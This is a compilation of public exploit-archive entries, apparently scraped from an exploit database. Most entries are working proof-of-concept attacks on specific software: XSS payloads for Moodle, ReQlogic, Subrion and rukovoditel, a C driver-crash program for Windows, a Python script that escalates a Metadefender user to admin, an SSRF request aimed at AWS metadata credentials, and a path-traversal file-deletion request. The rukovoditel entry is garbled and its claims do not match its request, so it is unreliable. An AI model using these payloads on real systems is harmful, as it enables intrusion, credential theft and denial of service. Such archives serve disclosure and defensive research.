rukovoditel version 3.2.1 suffers from a cross site scripting vulnerability.

    ## Title: rukovoditel 3.2.1 - Cross-Site Scripting (XSS)## Author: nu11secur1ty## Date: 11.03.2022## Vendor: https://www.rukovoditel.net/## Software: https://sourceforge.net/projects/rukovoditel/files/rukovoditel_3.2.1.zip/download## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/rukovoditel.net/2022/rukovoditel-3.2.1## Description:The application is vulnerable to DOM-based cross-site scriptingattacks. Data is read from `location.hash` and passed to`jQuery.parseHTML`.The attacker can use this vulnerability to create an unlimited numberof accounts on this system until it crashed.## STATUS: HIGH Vulnerability - CRITICAL[+] Payload:```POSTGET /rukovoditel/index.php?module=users/restore_password HTTP/1.1Host: pwnedhost.comAccept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63Safari/537.36Connection: closeCache-Control: max-age=0Cookie: sid=jf2mf72r2kfakhhnn6evgusrcg;cookie_test=please_accept_for_session;app_login_redirect_to=module%3Ddashboard%2FUpgrade-Insecure-Requests: 1Referer: http://pwnedhost.com/rukovoditel/index.php?module=users/loginSec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/rukovoditel.net/2022/rukovoditel-3.2.1)## Proof and Exploit:[href](https://streamable.com/i1qmfk)## Time spent`3:45`

rukovoditel 3.2.1 Cross Site Scripting

ReQlogic version 11.3 suffers from a cross site scripting vulnerability.

**ReQlogic 11.3 Cross Site Scripting**

Posted Mar 28, 2023

Authored by Okan Kurtulus

ReQlogic version 11.3 suffers from a cross site scripting vulnerability.

tags | exploit, xss

advisories | CVE-2022-41441

SHA-256 | 5227ba88f59a5d4cccd1b7cd664927cd29c2794c9b0bb18836fe0f6ab3662551

Download | Favorite | View

**ReQlogic 11.3 Cross Site Scripting**

    # Exploit Title: ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS)# Date: 9 October 2022# Exploit Author: Okan Kurtulus# Vendor Homepage: https://reqlogic.com# Version: 11.3# Tested on: Linux# CVE : 2022-41441# Proof of Concept:1- Install ReQlogic v11.32- Go to https://localhost:81/ProcessWait.aspx?POBatch=test&WaitDuration=33- XSS is triggered when you send the XSS payload to the POBatch and WaitDuration parameters.#XSS Payload:</script><script>alert(1)</script>#Affected PrametersPOBatchWaitDuration#Final URLshttp://20.36.214.225:81/ProcessWait.aspx?POBatch=</script><script>alert(1)</script>&WaitDuration=3http://20.36.214.225:81/ProcessWait.aspx?POBatch=test&WaitDuration=</script><script>alert(1)</script>

**File Tags**

*   ActiveX (932)
*   Advisory (80,599)
*   Arbitrary (15,917)
*   BBS (2,859)
*   Bypass (1,653)
*   CGI (1,022)
*   Code Execution (7,047)
*   Conference (677)
*   Cracker (840)
*   CSRF (3,306)
*   DoS (22,932)
*   Encryption (2,359)
*   Exploit (50,720)
*   File Inclusion (4,180)
*   File Upload (951)
*   Firewall (821)
*   Info Disclosure (2,689)
*   Intrusion Detection (876)
*   Java (2,957)
*   JavaScript (830)
*   Kernel (6,449)
*   Local (14,297)
*   Magazine (586)
*   Overflow (12,543)
*   Perl (1,419)
*   PHP (5,111)
*   Proof of Concept (2,297)
*   Protocol (3,502)
*   Python (1,488)
*   Remote (30,282)
*   Root (3,534)
*   Rootkit (502)
*   Ruby (603)
*   Scanner (1,633)
*   Security Tool (7,824)
*   Shell (3,133)
*   Shellcode (1,206)
*   Sniffer (890)
*   Spoof (2,182)
*   SQL Injection (16,171)
*   TCP (2,384)
*   Trojan (687)
*   UDP (880)
*   Virus (663)
*   Vulnerability (31,381)
*   Web (9,467)
*   Whitepaper (3,740)
*   x86 (946)
*   XSS (17,581)
*   Other

**File Archives**

*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   August 2022
*   July 2022
*   June 2022
*   May 2022
*   April 2022
*   Older

**Systems**

*   AIX (426)
*   Apple (1,960)
*   BSD (370)
*   CentOS (56)
*   Cisco (1,919)
*   Debian (6,714)
*   Fedora (1,691)
*   FreeBSD (1,242)
*   Gentoo (4,288)
*   HPUX (878)
*   iOS (340)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (45,130)
*   Mac OS X (684)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (482)
*   RedHat (12,923)
*   Slackware (941)
*   Solaris (1,609)
*   SUSE (1,444)
*   Ubuntu (8,448)
*   UNIX (9,208)
*   UnixWare (185)
*   Windows (6,532)
*   Other

ReQlogic 11.3 Cross Site Scripting

Moodle LMS version 4.0 suffers from a cross site scripting vulnerability.

    # Exploit Title: Moodle LMS 4.0 - Cross-Site Scripting (XSS)# Date: 26/10/2022# Exploit Author: Saud Alenazi# Vendor Homepage: https://moodle.org/# Software Link: https://git.in.moodle.com/moodle# Version: 4.0# Tested on: XAMPP, Windows 10# Contact: https://twitter.com/dmaral3nozDescription:A Cross Site Scripting (XSS) vulnerability exists in Moodle is a free and open-source Learning Management System (LMS) written in PHP and distributed under the GNU General Public LicenseVulnerable Code:line 111 in file "course/search.php"echo $courserenderer->search_courses($searchcriteria);Steps to exploit:1) Go to http://localhost/course/search.php2) Insert your payload in the "search"Proof of concept (Poc):The following payload will allow you to run the javascript -"><img src=# onerror=alert(document.cookie)>

Moodle LMS 4.0 Cross Site Scripting

Tunnel Interface Driver suffers from a denial of service vulnerability.

    // Exploit Title: Tunnel Interface Driver - Denial of Service// Date: 07/15/2022// Exploit Author: ExAllocatePool2// Vendor Homepage: https://www.microsoft.com/// Software Link: https://www.microsoft.com/en-us/software-download/windows10// Version: Windows 10 Pro Version 21H2 (OS Build 19044.1288)// Tested on: Microsoft Windows// GitHub Repository: https://github.com/Exploitables/MSRC-1#include <Windows.h>#include <stdio.h>#define TARGET_DEVICE "\\\\.\\GLOBALROOT\\Device\\TunnelControl"int main(int argc, char** argv);int main(int argc, char** argv){  HANDLE h_driver = CreateFileA(TARGET_DEVICE, 0x80, 0, 0, OPEN_EXISTING, 0, 0);  unsigned long long input_output = 0x4242424242424242;  unsigned long bytes_returned = 0x43434343;  unsigned char unused = 0;  SetConsoleTitleA("https://msrc.microsoft.com/");  printf("[*] Microsoft Security and Response Center Report #1\n[*] Microsoft Tunnel Interface Driver Null Pointer Dereference Denial of Service Vulnerability\n[*] Exploit written by ExAllocatePool2\n[!] Let's exploit!");  if (h_driver == (HANDLE)-1)  {    printf("\n[-] Failed to obtain a handle to the vulnerable device driver. Error: %d (0x%x)", GetLastError(), GetLastError());    unused = getchar();    return 1;  }  printf("\n[+] Obtained a handle to the vulnerable device driver. Handle Value: 0x%p", h_driver);  printf("\n[!] Triggering a denial of service via arbitrary read in 3...");  for (int i = 2; i > 0; i--)  {    Sleep(1000);    printf("\n[!] %d...", i);  }  DeviceIoControl(h_driver, 0, &input_output, 8, &input_output, 8, &bytes_returned, 0);  unused = getchar();  printf("\n[-] Exploit failed. The machine should have crashed.");  return 0;}

Tunnel Interface Driver Denial Of Service

OPSWAT Metadefender Core version 4.21.1 suffers from a privilege escalation vulnerability.

    # Exploit Title: OPSWAT Metadefender Core - Privilege Escalation# Date: 24 October 2022# Exploit Author: Ulascan Yildirim# Vendor Homepage: https://www.opswat.com/# Version: Metadefender Core 4.21.1# Tested on: Windows / Linux# CVE : CVE-2022-32272# =============================================================================# This is a PoC for the Metadefender Core Privilege escalation vulnerability.# To use this PoC, you need a Username & Password.# The OMS_CSRF_TOKEN allows users to execute commands with higher privileges.# =============================================================================#!/usr/bin/env python3import requestsimport jsonfrom getpass import getpassurl = input("Enter URL in this Format (http://website.com): ")username = input("Username: ")password = getpass("Password: ")url_login = url+'/login'url_user = url+'/user'logindata = {"user":username,"password":password}## Get the OMS_CSRF_TOKEN & session cookieresponse_login = requests.post(url_login, json = logindata).json()json_str = json.dumps(response_login)resp = json.loads(json_str)token = resp['oms_csrf_token']session = resp['session_id']## Prepare Header & Cookieheaders = {    "oms_csrf_token": token,}cookie = {    "session_id_ometascan": session}## Set Payload to get Admin rolepayload = '{"roles": ["1"]}'response = requests.put(url_user,headers=headers,cookies=cookie,data=payload)print("Response status code: "+str(response.status_code))if response.status_code == 200:    print("Expolit Successful!")else:    print("Exploit Unsuccessful")

OPSWAT Metadefender Core 4.21.1 Privilege Escalation

X-Skipper-Proxy version 0.13.237 suffers from a server-side request forgery vulnerability.

    #Exploit Title: X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF)#Date: 24/10/2022#Exploit Author: Hosein Vita & Milad Fadavvi#Vendor Homepage: https://github.com/zalando/skipper#Software Link: https://github.com/zalando/skipper#Version: < v0.13.237#Tested on: Linux#CVE: CVE-2022-38580Summary:Skipper prior to version v0.13.236 is vulnerable to server-side request forgery (SSRF). An attacker can exploit a vulnerable version of proxy to access the internal metadata server or other unauthenticated URLs by adding an specific header (X-Skipper-Proxy) to the http request.Proof Of Concept:1- Add header "X-Skipper-Proxy"  to your request2- Add the aws metadata to the pathGET /latest/meta-data/iam/security-credentials HTTP/1.1Host: yourskipperdomain.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36X-Skipper-Proxy: http://169.254.169.254Connection: closeReference:https://github.com/zalando/skipper/security/advisories/GHSA-f2rj-m42r-6jm2

X-Skipper-Proxy 0.13.237 Server-Side Request Forgery

Subrion CMS version 4.2.1 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS)# Date: 2022-08-10# Exploit Author: Sinem Şahin# Vendor Homepage: https://intelliants.com/# Version: 4.2.1# Tested on: Windows & XAMPP==> Tutorial <==1- Go to the following url. => http://(HOST)/panel/fields/add2- Write XSS Payload into the tooltip value of the field add page.3- Press "Save" button.4- Go to the following url. => http://(HOST)/panel/members/addXSS Payload ==> "<script>alert("field_tooltip_XSS")</script> Reference: ://github.com/intelliants/subrion/issues/895

Subrion CMS 4.2.1 Cross Site Scripting

Stimulsoft Designer (Web) 2023.1.3 is vulnerable to Local File Inclusion.

**Affected Product:** Stimulsoft Designer (Web)

**Affected Versions:** 2023.1.3 (confirmed) 2023.1.4 (allegedly)

**Fixed Version:** 2023.2.1

**CVE-Number:** CVE-2023-25260

**Severity:** 8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)

_Discovered by Ing. Simon Schönegger, BSC, MSc, Lejla Sarcevic, BSc, MSc, Dipl-Ing. Rainer Seyer, BSc_

During a penetration test for a customer, the penetration testers identified that this customer was using Stimulsoft Reporting Designer (Web) 2023.1.3 as a tool to design and view specifically crafted reports for their customers. During this penetration test the researchers discovered that this version is prone to local file inclusion.

The web version of the Reporting Designer offers the possibility to use a wide variety of local files as Datasource. When selecting a file, the Reporting Designer opens a file selection dialog. However, if the user does not open this dialog and simply inputs a path like C:\windows\temp\localfile.json the software will read this file from the filesystem of the server. Which files may be read depends on the privileges of the user which is used for starting the webserver. If a client runs the webserver as a high privileged user almost all files can be read. This vulnerability can be combined with remote code execution in order to present data without rendering it in the report.

No privileges are required to execute this exploit if the reporting viewer or designer are embedded in a page which lacks authentication. Since the authentication and authorization are measurements that the person who embeds the viewer and designer must implement, the privileges that are required to exploit this vulnerability are referenced as “None”.

**Proof of Concept**

For this Proof of Concept, the file C:\windows\temp\lfi.json is placed on the server. This file is included in a JSON datasource. When the included file is moved to a resource, the designer is able to see the content of the file  

Date

Action

2023/01/16

Discovery of the vulnerability

2023/01/20

Bulk disclosure of multiple vulnerabilities using the vendors support mail

2023/01/20

Vendor responds that this functionality was added by design

2023/01/21

Researchers respond that this vulnerability can read all XML and JSON like files including web.config and appsettings.json and advises to fix this vulnerability

2023/01/30

Vendor responds that they have added an additional configuration option to avoid loading local files which will be added in the march release

2023/01/30

Disclosure of the vulnerability to MITRE

2023/03/02

MITRE assigns CVE-2023-25260

2023/03/02

Researchers inform vendor about the CVE assignment and ask when the march version will be released

2023/03/02

Vendor responds that the version to fix this vulnerability will be released in the second part of march

2023/03/02

Agreement to publish the vulnerability as soon as the fix is released

CVE-2023-25260: LFI in Stimulsoft Designer - CVE-2023-25260

MuYuCMS v2.2 was discovered to contain an arbitrary file deletion vulnerability via the component /database/sqldel.html.

Vulnerability exists in sqldel.html  
1、 We put a txt file in the root of our website with the file name test.txt.  
2、Constructing packets after logging into the backend

    POST /admin.php/database/sqldel.html HTTP/1.1
    Host: test.test
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://test.test
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://test.test/editor/index.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 19
    
    name=../../test.txt

CVE-2023-27701: MuYucms sqldel.html has Arbitrary file deletion vulnerability · Issue #9 · MuYuCMS/MuYuCMS

Insecure Win32 memory objects in Endpoint Windows Agents in RSA NetWitness Platform before 12.2 allow local and admin Windows user accounts to modify the endpoint agent service configuration: to either disable it completely or run user-supplied code or commands, thereby bypassing tamper-protection features via ACL modification.

Tag

#windows